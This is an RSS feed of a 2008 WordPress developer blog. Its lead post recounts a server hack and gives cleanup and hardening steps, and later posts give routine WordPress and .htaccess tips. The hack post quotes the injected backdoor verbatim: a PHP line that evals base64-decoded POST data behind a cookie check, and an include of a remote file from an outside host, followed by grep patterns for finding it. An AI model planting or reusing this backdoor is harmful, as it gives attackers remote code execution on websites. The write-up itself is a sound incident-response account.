<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Steve Taylor &#187; wordpress</title>
	<atom:link href="http://sltaylor.co.uk/blog/category/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Web development, design and more</description>
	<pubDate>Sun, 01 Jun 2008 17:41:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/2008/04/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/2008/04/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[security]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:<br />
<blockquote class="code"><p>&lt;?php if(md5($_COOKIE['_wp_debugger'])==<br />
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php<br />
/* Short and sweet */<br />
if (isset($_GET['license'])) {<br />
	@include(&#8217;http://wordpress.net.in/license.txt&#8217;);<br />
} else {<br />
	define(&#8217;WP_USE_THEMES&#8217;, true);<br />
	require(&#8217;./wp-blog-header.php&#8217;);<br />
}<br />
?&gt;</p>
</blockquote>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:<br />
<blockquote class="code"><p>grep &#8211;recursive &#8220;eval(base64_decode($_POST['file']));&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;http://wordpress.net.in/license.txt&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;find suid files&#8221; *</p>
</blockquote>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)<br />
<blockquote class="code"><p>RENAME TABLE wp_comments TO [your prefix here]_comments;<br />
RENAME TABLE wp_links TO [your prefix here]_links;<br />
RENAME TABLE wp_options TO [your prefix here]_options;<br />
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;<br />
RENAME TABLE wp_posts TO [your prefix here]_posts;<br />
RENAME TABLE wp_terms TO [your prefix here]_terms;<br />
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;<br />
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;<br />
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;<br />
RENAME TABLE wp_users TO [your prefix here]_users;</p>
</blockquote>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM wp_posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Should become:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM &#8220;.$wpdb->prefix.&#8221;posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8217;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8217;s new file:</p>
<blockquote class="code"><p>// Change SECRET_KEY to a unique phrase.  You won&#8217;t have to remember it later,<br />
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm<br />
// to get a phrase generated for you, or just make something up.<br />
define(&#8217;SECRET_KEY&#8217;, &#8216;put your unique phrase here&#8217;); // Change this to a unique phrase.</p>
</blockquote>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<blockquote class="code"><p>define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Comment it out like this:</p>
<blockquote class="code"><p>//define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2008/04/wordpress-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Get rid of &#60;br /&#62; tags inserted by WordPress</title>
		<link>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/#comments</comments>
		<pubDate>Thu, 28 Jun 2007 18:14:13 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/</guid>
		<description><![CDATA[Even these days, WordPress will often mess with HTML code entered into posts or pages. The most persistent problem I&#8217;ve found has been its penchant for inserting &#60;br /&#62; tags inside forms.
No, I&#8217;ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply [...]]]></description>
			<content:encoded><![CDATA[<p>Even these days, WordPress will often mess with HTML code entered into posts or pages. The most persistent problem I&#8217;ve found has been its penchant for inserting <code>&lt;br /&gt;</code> tags inside forms.</p>
<p>No, I&#8217;ve not found a way to stop it. Just a slightly lateral workaround: create the following generic class in your stylesheet and apply it to any form (or other containing element) where unwanted <code>&lt;br /&gt;</code>s are being slipped in:</p>
<blockquote class="code"><p>.nobr br {display: none;}</p></blockquote>
<p>If you&#8217;re using <code>&lt;br /&gt;</code> tags yourself in that bit&#8230; well, you can always use a bit of a margin, eh?</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/get-rid-of-br-tags-inserted-by-wordpress/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Default WordPress visual editor to &#8220;off&#8221; for new users</title>
		<link>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/#comments</comments>
		<pubDate>Tue, 26 Jun 2007 17:47:43 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/</guid>
		<description><![CDATA[Being a die-hard hand-coder, WYSIWYG editors irk me. It&#8217;s partly an irrational &#8220;Get your mits off my code!&#8221; thing, but it&#8217;s often very practical.
Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough [...]]]></description>
			<content:encoded><![CDATA[<p>Being a die-hard hand-coder, WYSIWYG editors irk me. It&#8217;s partly an irrational &#8220;Get your mits off my code!&#8221; thing, but it&#8217;s often very practical.</p>
<p>Working with WordPress, many of the sites I deploy for clients need specific layout code within the editable content of WP-managed pages. The code is necessary, and the clients are savvy enough to work around my HTML when they edit their copy.</p>
<p>WP&#8217;s visual editor, however, isn&#8217;t. It switches any <code>&lt;div&gt;</code> for a <code>&lt;p&gt;</code>, and otherwise messes stuff up. Maybe there&#8217;s a way to coax it into being less interfering. But for now I just need to get the visual editor out the way.</p>
<p>In theory that&#8217;s fine - each user just has to uncheck the visual editor box on their WordPress profile. It&#8217;s set to be checked by default when a new user is created. It already happened several times that a client has forgotten to do this, gone to edit a tiny bit of copy on the delicately coded home page, only for the editor to mess it all up.</p>
<p>Can&#8217;t I just set visual editing to be &#8220;off&#8221; by default?</p>
<p>Here&#8217;s how. In the file <code>wp-admin/admin-functions.php</code>, change line 522 from this:</p>
<blockquote class="code"><p>$user-&gt;rich_editing = &#8216;true&#8217;;</p></blockquote>
<p>To (unsurprisingly) this:</p>
<blockquote class="code"><p>$user-&gt;rich_editing = &#8216;false&#8217;;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/default-wordpress-visual-editor-to-off-for-new-users/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The holding page and the 503 status code</title>
		<link>http://sltaylor.co.uk/blog/2007/04/503-holding-page/</link>
		<comments>http://sltaylor.co.uk/blog/2007/04/503-holding-page/#comments</comments>
		<pubDate>Wed, 04 Apr 2007 19:54:48 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[apache]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/04/503-holding-page/</guid>
		<description><![CDATA[NOTE: I&#8217;ll leave the information here for reference as it&#8217;ll probably still be useful to some. But for anyone using WordPress who wants a convenient way of putting up a holding page without confusing search bots and without blocking yourself from using the site while it&#8217;s &#8220;down&#8221;, I&#8217;ve just found the very neat Maintenance Mode [...]]]></description>
			<content:encoded><![CDATA[<p class="alert"><strong>NOTE:</strong> I&#8217;ll leave the information here for reference as it&#8217;ll probably still be useful to some. But for anyone using WordPress who wants a convenient way of putting up a holding page without confusing search bots <em>and</em> without blocking yourself from using the site while it&#8217;s &#8220;down&#8221;, I&#8217;ve just found the very neat <a href="http://sw-guide.de/wordpress/plugins/maintenance-mode/">Maintenance Mode plugin</a>. Seems to work like a treat. <i>14/2/08</i></p>
<p>Ever wanted to have a system in place that allows you to easily &#8220;switch on&#8221; a holding page for the whole of your site for when you need to do some maintenance? Well, that&#8217;s relatively easy to do; but what about bots? Even if you&#8217;re only down for 10 minutes, what if your luck is such that <a href="http://www.google.com/support/webmasters/bin/topic.py?topic=8843">Googlebot</a> makes its random rounds at precisely that time? Depending on how you&#8217;re holding page works, it might register a load of &#8220;404 - Not Found&#8221; errors, or replace your indexed content with your holding page&#8230; Who knows? Not I.</p>
<p>Well, with yet another WordPress upgrade (2.1.3) just out, I thought I would try to get to the bottom of this holding page issue. WordPress upgrades might be made smoother in a future version; but for now, it&#8217;s a slightly brutal case of deleting your live files and replacing them. Even without discovering some hair-tearing plugin incompatibilities along the way, or accidentally overwriting a crucial hack you&#8217;ve coded into your installation, a proper upgrade can take 10-20 minutes.</p>
<p>The only really useful page I found on the issue of bots and holding pages was over at <a href="http://www.askapache.com/htaccess/instruct-search-engines-to-come-back-to-site-after-you-finish-working-on-it.html">AskApache.com</a>. You can head over there and work out your own adaptation; I thought I&#8217;d document mine here for reference.</p>
<p>Note that the basics of this require PHP running on an Apache web server, with <code>mod_rewrite</code> enabled. The rest assumes you&#8217;re using WordPress.</p>
<h2>The holding page</h2>
<p>I created a file, <code>503.php</code>, sitting in my site&#8217;s root. The code looks something like this:</p>
<blockquote class="code"><p>
&lt;?php<br />
header(&quot;HTTP/1.1 503 Service Temporarily Unavailable&quot;);<br />
header(&quot;Status: 503 Service Temporarily Unavailable&quot;);<br />
header(&quot;Retry-After: 3600&quot;);<br />
?&gt;&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;<br />
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xml:lang=&quot;en&quot; lang=&quot;en&quot; xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
&lt;title&gt;Site upgrade in progress&lt;/title&gt;<br />
&lt;meta name=&quot;robots&quot; content=&quot;none&quot; /&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;h1&gt;Site upgrade in progress&lt;/h1&gt;<br />
&lt;p&gt;This site is being upgraded, and can&#8217;t currently be accessed.&lt;/p&gt;<br />
&lt;p&gt;It should be back up and running very soon. Please check back in a bit!&lt;/p&gt;<br />
&lt;hr /&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;
</p></blockquote>
<p>Those first two lines of PHP set the request&#8217;s HTTP headers to the &#8220;503 Service Unavailable&#8221; <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">status code</a>. HTTP headers are invisible when you&#8217;re browsing the web, but are read by the browser itself and by bots crawling around (and can be checked out via tools like <a href="http://web-sniffer.net/">Web-Sniffer</a> and the Firefox <a href="http://chrispederick.com/work/webdeveloper/">Web Developer Extension</a>). This status code means:</p>
<blockquote cite="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html"><p>The server is currently unable to handle the request due to a temporary overloading or maintenance of the server. The implication is that this is a temporary condition which will be alleviated after some delay.</p></blockquote>
<p>Just what we want.</p>
<p>The <code>Retry-After</code> bit is used to indicate how long you expect the site to be down for (in seconds). If you are hit by a search engine bot while down, it&#8217;ll probably understand this, but of course it doesn&#8217;t mean it&#8217;ll return as soon as that time&#8217;s elapsed. It&#8217;s probably got better things to do. At least it knows not to return too soon.</p>
<p>The rest is a plain page for humans, letting them know in English what&#8217;s going on. It needn&#8217;t be as minimalist as this; you can add branding if you want, and maybe a link to another site to be polite and give people a &#8220;way out&#8221;.</p>
<h2>Allowing yourself access</h2>
<p>The next step is to alter your <code><a href="http://httpd.apache.org/docs/1.3/howto/htaccess.html">.htaccess</a></code> file to make sure all requests go to the 503 page.</p>
<p>But hang on - what about your good self? How do you test out all the maintenance you&#8217;re doing if you&#8217;re just being sent to <code>503.php</code> with everyone else?</p>
<p>Basically, you filter requests by IP address. Assuming you have a static IP address, you can test that, and only let your own IP through.</p>
<p>Here&#8217;s the code for your <code>.htaccess</code> file:</p>
<blockquote class="code"><p>
Options +FollowSymLinks<br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{REMOTE_ADDR} !^23\.23\.23\.23<br />
RewriteCond %{REQUEST_URI} !^/503.php [NC]<br />
RewriteRule .* /503.php [L]
</p></blockquote>
<p>Just replace those numbers on the fourth line with <a href="http://www.whatismyipaddress.com/">your own IP</a>. (Keep the backslashes before each dot!)</p>
<p>Those two <code>RewriteCond</code> (&#8221;rewrite condition&#8221;) lines basically mean: <em>only apply the following rewrite if the IP of the request (REMOTE_ADDR) doesn&#8217;t match the one given, and the file requested (REQUEST_URI) isn&#8217;t <code>503.php</code> (preventing an infinite loop!)</em>. As long as it&#8217;s not you and they&#8217;re not already going to <code>503.php</code>, the <code>RewriteRule</code> kicks in and serves that page up. (Though note that the URL in the browser address bar doesn&#8217;t change for the user; this is rewriting, not redirecting.)</p>
<p>Note that last <code>[L]</code> in the code. That means, if this rewrite rule is processed, make it the last one. This is handy if you have other rewrites (e.g. your WordPress rewrites) that still need to work when you access the site, but which shouldn&#8217;t intefere with this rule for everyone else. Of course, for this reason, the above code should go right at the top of your file.</p>
<h2>The switch</h2>
<p>You may have your own technique. I keep <code>503.php</code> and <code>503.htaccess</code> in the web root. When I need to switch my holding page in, I just rename my usual <code>.htaccess</code> to something like <code>LIVE.htaccess</code>, and (quickly!) rename <code>503.htaccess</code> to <code>.htaccess</code>.</p>
<p>All should now be on hold for the rest of the world. Bots should be politely leaving your site be for the while. And you should be able to get in and muck around to your heart&#8217;s content.</p>
<h3>Looking through other&#8217;s eyes</h3>
<p>A pesky stumbling block I came up against developing this technique was my obvious inability to see what other people were seeing via all those other IP addresses. My friend <a href="http://numero57.net/">Jim</a>, ever abreast of tech developments, directed me to the <a href="http://www.torrify.com/software_torpark.html">Torpark</a> browser. Built on the Firefox shell, this browser is designed to anonymize your web surfing by routing your requests through a labyrinthine series of IP relays (or whatever they might call them).</p>
<p>It&#8217;s sluggish, but it works. Whatever your IP ends up being seen as by servers while browsing with this nifty tool, it won&#8217;t be your actual IP.</p>
<h2>Upgrading WordPress</h2>
<p>So, with these tricks ready to go, here&#8217;s my revised WordPress upgrade guide. (Do also check <a href="http://codex.wordpress.org/Upgrading_WordPress">the official guide</a> if you&#8217;re new to this though!)</p>
<p>One thing to bear in mind with more recent WordPress versions is that if the <code>.htaccess</code> file doesn&#8217;t contain WordPress&#8217; rewrite rules at the end, it may try to &#8220;fix&#8221; things - and break them. Make sure your 503 <code>.htaccess</code> file has your usual WordPress rewrite rules <em>at the end</em>.</p>
<ol>
<li>Backup all your files and your database.</li>
<li>Make sure you&#8217;ve a record of which files you&#8217;ve customized.</li>
<li>Do the 503 holding page switch.</li>
<li>De-activate all your plugins.</li>
<li>Delete all files apart from <code>wp-config.php</code>, the <code>wp-content</code> directory, and of course <code>.htaccess</code> and <code>503.php</code></li>
<li>Upload all files in the new version of WordPress (excluding the <code>wp-content</code> directory)</li>
<li>Run the upgrade script (e.g. <code>http://yourdomain.com/wp-admin/upgrade.php</code>)</li>
<li>Re-activate the plugins. Pray.</li>
<li>Check the site out, make sure it&#8217;s survived OK.</li>
<li>Revert to the original <code>.htaccess</code> file.</li>
<li>Done!</li>
</ol>
<h2 class="update">Update</h2>
<p>I&#8217;ve just tried implementing this technique to display a holding page for a site that&#8217;s yet to be launched. Pretty much the same situation, but an interesting issue came up when I tried to include an image on the holding page. The image wouldn&#8217;t appear. I spent a frustrating 5 minutes checking paths and files, but eventually it dawned on me: the browser&#8217;s request for the image file was returning a 503 error, not the image!</p>
<p>A little extra <code>.htaccess</code> magic remedies this. Insert the following line before your <code>RewriteRule</code> line:</p>
<blockquote class="code"><p>RewriteCond %{REQUEST_FILENAME} !\.(gif|jpe?g|png)$</p></blockquote>
<p>Of course you may need to add <code>css</code> or <code>js</code> to that list of filetypes, depending on your holding page&#8217;s needs.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/04/503-holding-page/feed/</wfw:commentRss>
		</item>
		<item>
		<title>WordPress 2.1 and .htaccess files</title>
		<link>http://sltaylor.co.uk/blog/2007/02/wordpress-21-and-htaccess-files/</link>
		<comments>http://sltaylor.co.uk/blog/2007/02/wordpress-21-and-htaccess-files/#comments</comments>
		<pubDate>Wed, 07 Feb 2007 19:49:50 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[apache]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/02/wordpress-21-and-htaccess-files/</guid>
		<description><![CDATA[I&#8217;m building this site with WordPress 2.1, which has some great new features (such as post auto-saving and draft pages). I&#8217;ve heard there are significant teething problems with upgrading from a previous version - for instance, the new draft pages system means that pages are now flagged with the database field post_type being used instead [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m building this site with <a href="http://wordpress.org/development/2007/01/ella-21/">WordPress 2.1</a>, which has some great new features (such as post auto-saving and draft pages). I&#8217;ve heard there are significant teething problems with <em>upgrading</em> from a previous version - for instance, the new draft pages system means that pages are now flagged with the database field <code>post_type</code> being used instead of the <code>post_status</code> field being set to <code>static</code>. Much more logical, but it may break some of your page-related plugins.</p>
<p>Anyway, for new installs it seems like the way to go, with a few caveats. One involves the potent but potentially tricksy <code>.htaccess</code> file for Apache server configuration settings. If, like me, you prefer to maintain control over the file yourself instead of having WordPress automatically generate it, you might run into problems when 2.1 tries to &#8220;fix&#8221; it.</p>
<p>If you suddenly get a HTTP 500 error (Internal Server Error), it&#8217;s often due to slip-ups in <code>.htaccess</code>. If you&#8217;re using WordPress 2.1 and get this, download <code>.htaccess</code> and see if WP hasn&#8217;t slipped its mod_rewrite rules in at the end. If you&#8217;ve adapted the default mod_rewrite code, WP 2.1 thinks it&#8217;s not there at all, and slips the default in at the end again.</p>
<p>I&#8217;ve not found a way to stop WP doing this - there was a suggestion to change the write permissions on the file to stop WP accessing it, but you&#8217;d have to switch them back every time you re-uploaded the file. Pain in the arse. I&#8217;ve just reverted to keeping the default WP mod_rewrite at the end of the file, exactly as WP intends.</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/02/wordpress-21-and-htaccess-files/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
